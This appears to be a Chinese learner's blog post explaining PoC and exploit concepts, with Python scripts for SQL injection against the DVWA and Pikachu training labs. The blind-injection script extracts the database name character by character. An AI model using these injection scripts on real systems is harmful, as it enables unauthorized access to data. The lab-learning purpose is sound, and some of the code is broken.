前言
想锻炼一下编程能力,师兄说以后很重要的,最好学好一点
但是我又想学习安全相关的,那就来练练poc吧
什么是POC
PoC(全称: Proof of Concept), 中文译作概念验证。在安全界,你可以理解成为漏洞验证程序(本教程中,如无特别说明,默认代表漏洞验证程序),当然你要强行说我说的不对,我肯定支持你,反正我没打算反驳你。和一些应用程序相比,PoC 是一段不完整的程序,仅仅是为了证明提出者的观点的一段代码。因为是一些代码片段,所以到现在都没看到有一本书来讲怎么编写 PoC 的,因为这些东西对于会写代码的人来说,他们会很惊讶分分钟就会了的事为什么还要出本书。
什么是 Exp
Exp(全称: Exploit),中文叫漏洞利用程序。名字上说的已经很清楚了,简单讲,就是一段可以发挥漏洞价值的程序,这话感觉和没说一样。想象一下这样的场景,目标存在一个 SQL 注入漏洞,然后被你知道了,然后你编写了一个程序,通过这个 SQL 注入漏洞,拿到了目标的权限,那么这个程序就是所谓的 Exp 了,当然,如果你没有使用这个漏洞,它就这么放着,那么这个漏洞,对你来说可以认为是没有价值的。
POC注意事项
- 随机性 参数随机(有时候可以不随机)
- 通用性 要对一样组件的网站都成立,不能是针对个别网站
- 确定性 要明确验证漏洞存在与否
尝试编写第一个POC
dvwa的sql注入poc
这个是要自己在id参数里面添加’
根据返回结果才可以验证出来
import requests
import re
header = {"Cookie":""}
url = input("请输入url")
r = requests.get(url.header)
res = str(r.content)
if re.search("syntax",res):
print("存在sql注入")
else:
print("不存在sql注入")
pikachu sql盲注poc
import requests
import string
url = "http://192.168.186.128/pikachu/vul/sqli/sqli_blind_b.php"
#计算响应包长度
params={"name":"kobe","submit":"查询"}
normalhtmllen = len(requests.get(url=url,params=params).text)
# url2=requests.get(url=url,params=params)
print("the len of HTML:",normalhtmllen)
# print(url2.url)
print("the len of HTML:"+str(normalhtmllen))
#+号要加str()改为字符串
#------------判断数据库名的长度--------------------------------
dbNameLen = 0
while True:
dbNameLen_url = url + "?name=kobe'+and+length(database())%3D"+str(dbNameLen)+"%23&submit=查询"
#print(dbNameLen_url)
if len(requests.get(dbNameLen_url).text) == normalhtmllen:
print("The len of dbName",dbNameLen)
break
if dbNameLen == 200:
print("Error!")
break
dbNameLen += 1
#-----------------------------------------------------------------
#---根据得到的长度去用substr()由头到尾一个个字符串遍历出完整的数据库名------
dbName=""
for i in range(1,9):
for a in string.ascii_lowercase:
dbName_url=url + "?name=kobe'+and+substr(database(),"+str(i)+",1)='"+a+"'%23&submit=查询"
#print(dbName_url)
if len(requests.get(dbName_url).text) == normalhtmllen:
dbName += a
print(dbName)
参考
https://mp.weixin.qq.com/s?__biz=MzIyNTA1NzAxOA==&mid=402630401&idx=1&sn=8739dae646ec90ff4c813b14ef7e961f
http://labs.supinfochina.com/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8poc/
https://blog.csdn.net/qq_37622608/article/details/88048847
https://www.cxyzjd.com/article/qqchaozai/103567861